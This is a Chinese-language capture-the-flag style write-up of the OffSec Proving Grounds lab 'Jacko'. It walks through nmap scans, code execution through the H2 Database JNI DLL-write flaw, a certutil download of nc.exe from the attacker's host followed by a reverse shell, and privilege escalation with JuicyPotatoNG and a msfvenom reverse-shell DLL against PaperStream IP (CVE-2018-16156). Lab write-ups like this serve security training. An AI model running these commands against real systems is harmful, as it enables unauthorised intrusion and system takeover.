OSCP Jacko Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Jacko

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

H2 Database 无密码登录 –> 应用版本信息 –> 后台 JNI 代码执行 –> tony 用户权限 –> 用户旗帜

权限提升:

方案一: 土豆提权得到系统 system 权限 –> system 权限 –> 管理员旗帜

方案二: 检索靶机非 Windows 默认程序 –> PaperStream IP 本地提权漏洞 –> system 权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo nmap -p- 192.168.143.66 --min-rate=2000

PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5040/tcp open unknown
7680/tcp open pando-pub
8082/tcp open blackice-alerts
9092/tcp open XmlIpcRegSvc
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sudo nmap -p80,135,139,445,5040,7680,8082,9092,49664,49665,49666,49667,49668,49669 -sCV 192.168.143.66

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: H2 Database Engine (redirect)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
7680/tcp open pando-pub?
8082/tcp open http H2 database http console
|_http-title: H2 Console
9092/tcp open XmlIpcRegSvc?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC

Host script results:
| smb2-time:
| date: 2025-09-08T12:37:37
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required

系统为 Windows 环境,开放有 HTTP 和 Windows 的一些默认服务。

3.2 渗透测试突破边界

3.2.1 H2 Database JNI 代码执行漏洞

靶机 SMB 服务没有发现有价值信息,HTTP 80 和 8082 端口部署了 H2 Database 应用,其中 HTTP 8082 端口不需要密码可访问数据库后台,在后台页面得到 H2 Database 应用版本信息:H2 1.4.199 (2019-03-13)。

searchsploit 检索得知历史存在代码执行漏洞,下载漏洞利用文件至当前目录。

1
searchsploit H2 Database

1
searchsploit -m java/local/49384.txt

依次执行漏洞利用步骤:

步骤一: 通过 H2 Database 后台数据库写入 dll 文件。

1
2
3
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', CHAR(0x4d),CHAR(0x5a),CHAR(0x90),CHAR(0x00),CHAR(0x03),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x04),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0xff),CHAR(0xff),CHAR(0x00),CHAR(0x00),CHAR(0xb8),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x40),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00)
--snip--
,'"'), 'ISO-8859-1', '', '', '', '', '');

步骤二: 应用写入的恶意 dll 文件。

1
2
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');

步骤三: 执行系统命令。

1
2
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');

上传 nc 执行反弹 shell,获取到系统 tony 用户权限。

1
2
3
4
5
6
7
8
9
10
11
# nc 目录开启 web 共享
goshs -p 80

# kali 监听
rlwrap nc -lvnp 8082

# 注意:需要使用连个反斜杠
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -split -f http://192.168.45.236/nc.exe C:\\Windows\\Temp\\nc.exe").getInputStream()).useDelimiter("\\Z").next()');

# 执行反弹 shell
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:\\Windows\\Temp\\nc.exe 192.168.45.236 8082 -e cmd").getInputStream()).useDelimiter("\\Z").next()');

注意: 靶机获取的 shell 缺失环境变量,导致部分命令无法执行,需要手动设置环境变量。

1
set PATH=%systemroot%\system32;%systemroot%

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 提权方案一:土豆工具提权至系统 system

使用 whoami /priv 发现用户具有 SeImpersonatePrivilege 特权,利用该特权可通过土豆工具提升至系统 system 权限。

通过 JuicyPotatoNG 提升至靶机 system 权限。

1
https://github.com/antonioCoco/JuicyPotatoNG

将 JuicyPotatoNG 工具上传至靶机,测试执行 whoami,可成功得到靶机 system 权限。

1
JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c whoami > C:\users\tony\documents\look.txt"

不仅仅局限于以上一种土豆提权工具,其他类型的土豆提权工具也能成功获取 system 权限,一种工具无法执行成功,就换其他工具接着尝试,每种工具利用原理都不相同,或许换一个工具就能执行成功。

3.3.2 提权方案二:PaperStream IP 本地提权漏洞(CVE-2018-16156)

成功获取 H2 Database 反弹 shell 并将路径切换至 C:\Program Files (x86) 时,发现 PaperStream IP 目录不属于系统默认程序,使用 searchsploit 检索应用发现 1.42 版本存在本地提权漏洞。

1
searchsploit PaperStream IP

通过 readmeenu.rtf 文件得知应用为 1.42 版本,可尝试利用本地提权漏洞。

1
2
tree /f /a
type twain\readmeenu.rtf

复制 searchsploit 漏洞利用脚本至当前路径,代码中提示需要使用 msfvenom 生成 dll 反弹 shell 文件,而且脚本默认读取 temp 目录的 dll 文件,但当前用户不能直接写入 temp 文件,需要修改上传位置。

1
2
searchsploit -m windows/local/49382.ps1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.236 LPORT=8082 -f dll -o shell.dll

上传 powershell 脚本和 dll 文件至 tony 用户目录。

1
2
3
cd C:\Users\tony
certutil -urlcache -split -f http://192.168.45.236/49382.ps1
certutil -urlcache -split -f http://192.168.45.236/shell.dll

注意: 此时需要使用 msf handler 模块发起监听,使用 nc 监听得到的 shell 无法执行命令。

1
2
3
4
5
use exploit/multi/handler
set lhost 192.168.45.236
set lport 8082
et payload windows/shell_reverse_tcp
run

在靶机执行上传的 powershell 脚本,注意: 靶机 powershell 未添加环境变量,需要使用绝对路径。

1
C:\windows\system32\windowspowershell\v1.0\powershell -ep bypass -f 49382.ps1

这里如果按照漏洞利用脚本中的 payload 去生成 dll 文件(windows/x64/shell_reverse_tcp)会导致运行后获取到反弹 shell,不使用 64 位可正常得到 shell,不确定什么原因,或许因为应用安装在 x86 目录,运行的是 32 程序。

3.3.3 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨